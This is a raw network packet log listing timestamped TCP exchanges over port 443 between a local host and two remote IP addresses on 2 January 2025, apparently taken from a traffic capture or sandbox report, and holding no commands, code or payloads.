Jan 2, 2025 20:28:21.665931940 CET	443	49803	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:21.666148901 CET	49804	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:21.666153908 CET	443	49804	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:21.666270971 CET	49804	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:21.666275024 CET	443	49804	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:21.667727947 CET	49806	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:21.667733908 CET	443	49806	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:21.667861938 CET	49806	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:21.667866945 CET	443	49806	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:22.182640076 CET	443	49805	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:22.182641029 CET	443	49803	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:22.182662964 CET	443	49804	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:22.182682037 CET	443	49804	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:22.182718039 CET	443	49805	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:22.182738066 CET	49805	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:22.182774067 CET	49804	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:22.182775974 CET	49803	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:22.182781935 CET	443	49803	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:22.182790041 CET	443	49804	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:22.182794094 CET	443	49804	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:22.182796001 CET	49805	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:22.182841063 CET	49803	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:22.182851076 CET	49804	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:22.182852030 CET	49804	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:22.182962894 CET	49803	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:22.182985067 CET	443	49803	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:22.183087111 CET	49805	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:22.183101892 CET	443	49805	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:22.183780909 CET	49812	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:22.183809042 CET	443	49812	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:22.183880091 CET	49813	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:22.183917046 CET	49812	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:22.183921099 CET	443	49813	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:22.183973074 CET	49813	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:22.184225082 CET	49812	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:22.184235096 CET	443	49812	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:22.184381962 CET	49813	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:22.184392929 CET	443	49813	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:22.185153008 CET	49804	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:22.185159922 CET	443	49804	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:22.185678005 CET	443	49806	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:22.185726881 CET	49806	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:22.185738087 CET	443	49806	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:22.185748100 CET	443	49806	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:22.185775042 CET	49806	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:22.185800076 CET	443	49806	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:22.185858965 CET	443	49806	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:22.185900927 CET	49806	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:22.186094046 CET	49814	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:22.186101913 CET	443	49814	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:22.186145067 CET	49814	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:22.186465025 CET	49814	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:22.186469078 CET	443	49814	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:22.188360929 CET	49806	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:22.188369989 CET	443	49806	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:22.189212084 CET	49815	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:22.189229012 CET	443	49815	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:22.190184116 CET	49815	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:22.190445900 CET	49815	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:22.190454006 CET	443	49815	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:22.634280920 CET	49812	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:22.634314060 CET	49813	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:22.634356022 CET	49814	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:22.634361029 CET	49815	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:22.638962984 CET	49823	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:22.639045954 CET	443	49823	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:22.639117002 CET	49823	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:22.642535925 CET	49823	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:22.642596960 CET	443	49823	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:22.643352985 CET	49824	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:22.643393040 CET	443	49824	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:22.643522024 CET	49824	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:22.646212101 CET	49824	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:22.646225929 CET	443	49824	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:23.295903921 CET	443	49824	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:23.296088934 CET	49824	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.296638966 CET	443	49824	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:23.296711922 CET	49824	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.298739910 CET	443	49823	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:23.298832893 CET	49823	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.299554110 CET	443	49823	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:23.299607038 CET	49823	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.301047087 CET	49823	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.301069021 CET	443	49823	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:23.301106930 CET	49824	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.301127911 CET	443	49824	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:23.301323891 CET	443	49823	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:23.301346064 CET	443	49824	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:23.301369905 CET	49823	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.301477909 CET	49824	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.301772118 CET	49823	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.302098989 CET	49824	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.343343973 CET	443	49823	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:23.347332001 CET	443	49824	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:23.708365917 CET	443	49824	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:23.708513021 CET	49824	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.710115910 CET	49824	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.710156918 CET	443	49824	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:23.710289955 CET	443	49824	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:23.710388899 CET	49824	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.710390091 CET	49824	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.711077929 CET	49832	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:23.711121082 CET	443	49832	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:23.711251020 CET	49832	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:23.714905024 CET	49833	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.714914083 CET	443	49833	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:23.714984894 CET	49833	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.715356112 CET	49833	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.715364933 CET	443	49833	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:23.720071077 CET	49832	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:23.720081091 CET	443	49832	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:23.823440075 CET	443	49823	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:23.823559046 CET	49823	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.823580027 CET	443	49823	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:23.823729038 CET	49823	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.823911905 CET	49823	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.823945999 CET	443	49823	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:23.824095964 CET	443	49823	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:23.824176073 CET	49823	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.824176073 CET	49823	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.824542999 CET	49835	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:23.824562073 CET	443	49835	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:23.824825048 CET	49836	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.824863911 CET	443	49836	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:23.824907064 CET	49835	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:23.825134039 CET	49835	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:23.825134993 CET	49836	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.825148106 CET	443	49835	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:23.825346947 CET	49836	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:23.825360060 CET	443	49836	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:24.356623888 CET	443	49833	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:24.356697083 CET	49833	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.357470989 CET	443	49832	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.357539892 CET	49832	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.358702898 CET	443	49833	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:24.358762980 CET	49833	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.369448900 CET	49833	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.369462013 CET	443	49833	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:24.371025085 CET	443	49833	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:24.371074915 CET	49833	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.371464014 CET	49833	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.373159885 CET	49832	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.373169899 CET	443	49832	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.373404980 CET	443	49832	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.373454094 CET	49832	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.373790026 CET	49832	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.415328026 CET	443	49832	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.419332981 CET	443	49833	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:24.463232040 CET	443	49836	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:24.463310003 CET	49836	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.463998079 CET	443	49836	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:24.464056015 CET	49836	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.466013908 CET	49836	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.466022968 CET	443	49836	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:24.466253996 CET	443	49836	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:24.466337919 CET	49836	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.466756105 CET	49836	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.507339954 CET	443	49836	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:24.528836012 CET	443	49835	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.528920889 CET	49835	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.530992985 CET	49835	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.530997992 CET	443	49835	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.531605005 CET	443	49835	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.531672001 CET	49835	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.532092094 CET	49835	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.579332113 CET	443	49835	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.784514904 CET	443	49832	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.784569979 CET	443	49832	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.784579992 CET	49832	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.784599066 CET	443	49832	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.784622908 CET	49832	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.784671068 CET	49832	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.784674883 CET	443	49832	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.784687996 CET	443	49832	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.784712076 CET	49832	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.784734964 CET	49832	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.785643101 CET	49832	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.785654068 CET	443	49832	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.831994057 CET	443	49833	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:24.832046986 CET	49833	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.832210064 CET	49833	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.832408905 CET	443	49833	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:24.832454920 CET	49833	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.832890987 CET	49847	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.832916975 CET	443	49847	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.832941055 CET	49848	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.832963943 CET	443	49848	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:24.832978010 CET	49847	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.833041906 CET	49848	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.833244085 CET	49848	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.833252907 CET	443	49848	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:24.833448887 CET	49847	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.833472013 CET	443	49847	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.949599028 CET	443	49835	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.949652910 CET	443	49835	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.949656963 CET	49835	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.949693918 CET	443	49835	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.949708939 CET	49835	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.949755907 CET	49835	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.949762106 CET	443	49835	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.949773073 CET	443	49835	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.949799061 CET	49835	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.949872971 CET	49835	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.950717926 CET	49835	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.950735092 CET	443	49835	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.972820997 CET	443	49836	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:24.972893953 CET	49836	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.972913027 CET	443	49836	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:24.972955942 CET	49836	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.973018885 CET	49836	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.973056078 CET	443	49836	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:24.973112106 CET	49836	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.974112034 CET	49849	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.974149942 CET	443	49849	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.974214077 CET	49849	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.974371910 CET	49850	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.974380016 CET	443	49850	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:24.974422932 CET	49850	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.974916935 CET	49849	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:24.974931002 CET	443	49849	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:24.975125074 CET	49850	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:24.975133896 CET	443	49850	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:25.484869003 CET	443	49848	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:25.484950066 CET	49848	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:25.486741066 CET	443	49848	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:25.486799955 CET	49848	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:25.490715027 CET	49848	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:25.490721941 CET	443	49848	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:25.491120100 CET	443	49848	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:25.491185904 CET	49848	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:25.491590023 CET	49848	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:25.523729086 CET	443	49847	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:25.523797035 CET	49847	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:25.524734020 CET	49847	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:25.524739981 CET	443	49847	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:25.525001049 CET	49847	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:25.525007963 CET	443	49847	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:25.539335966 CET	443	49848	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:25.621105909 CET	443	49849	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:25.621275902 CET	443	49850	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:25.621309042 CET	49849	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:25.621346951 CET	49850	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:25.622013092 CET	443	49850	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:25.622066975 CET	49850	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:25.690634012 CET	49849	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:25.690649986 CET	443	49849	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:25.690996885 CET	49849	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:25.690999985 CET	443	49849	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:25.694936037 CET	49850	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:25.694945097 CET	443	49850	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:25.695282936 CET	443	49850	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:25.695329905 CET	49850	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:25.700231075 CET	49850	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:25.747323990 CET	443	49850	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:25.873682022 CET	443	49848	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:25.873739004 CET	49848	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:25.874182940 CET	49848	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:25.874552965 CET	443	49848	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:25.874600887 CET	49848	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:25.875159979 CET	49858	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:25.875199080 CET	443	49858	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:25.875250101 CET	49858	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:25.875607967 CET	49858	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:25.875621080 CET	443	49858	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:25.947419882 CET	443	49847	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:25.947483063 CET	49847	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:25.947487116 CET	443	49847	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:25.947499990 CET	443	49847	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:25.947537899 CET	49847	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:25.950233936 CET	443	49847	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:25.950279951 CET	49847	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:25.950401068 CET	443	49847	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:25.950433969 CET	49847	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:25.950462103 CET	443	49847	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:25.950501919 CET	49847	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:25.951061964 CET	49847	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:25.951077938 CET	443	49847	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:25.952033997 CET	49859	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:25.952065945 CET	443	49859	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:25.952119112 CET	49859	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:25.952369928 CET	49859	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:25.952378035 CET	443	49859	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:26.011522055 CET	443	49850	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:26.011604071 CET	443	49850	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:26.011635065 CET	49850	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:26.011677027 CET	49850	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:26.012051105 CET	49850	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:26.012063980 CET	443	49850	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:26.012940884 CET	49860	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:26.012990952 CET	443	49860	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:26.013056993 CET	49860	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:26.013467073 CET	49860	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:26.013492107 CET	443	49860	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:26.098222971 CET	443	49849	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:26.098278999 CET	443	49849	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:26.098376989 CET	49849	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:26.098385096 CET	443	49849	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:26.098398924 CET	443	49849	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:26.098439932 CET	49849	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:26.334920883 CET	49849	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:26.334940910 CET	443	49849	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:26.451971054 CET	49861	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:26.452014923 CET	443	49861	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:26.452209949 CET	49861	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:26.458437920 CET	49861	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:26.458460093 CET	443	49861	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:26.547246933 CET	443	49858	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:26.547308922 CET	49858	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:26.554167032 CET	49858	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:26.554172993 CET	443	49858	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:26.554477930 CET	49858	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:26.554482937 CET	443	49858	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:26.621722937 CET	443	49859	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:26.622086048 CET	49859	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:26.622765064 CET	49859	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:26.622771978 CET	443	49859	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:26.624742031 CET	49859	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:26.624751091 CET	443	49859	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:26.667762995 CET	443	49860	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:26.667947054 CET	49860	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:26.668538094 CET	49860	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:26.668549061 CET	443	49860	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:26.668710947 CET	49860	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:26.668718100 CET	443	49860	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:26.932086945 CET	443	49858	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:26.932147026 CET	49858	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:26.932158947 CET	443	49858	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:26.932200909 CET	49858	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:26.932482004 CET	49858	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:26.932549000 CET	443	49858	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:26.932616949 CET	49858	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:26.933286905 CET	49867	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:26.933325052 CET	443	49867	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:26.933533907 CET	49867	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:26.933948994 CET	49867	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:26.933964968 CET	443	49867	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:27.046571016 CET	443	49859	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:27.046613932 CET	443	49859	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:27.046639919 CET	49859	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:27.046653986 CET	443	49859	142.250.185.65	192.168.2.6
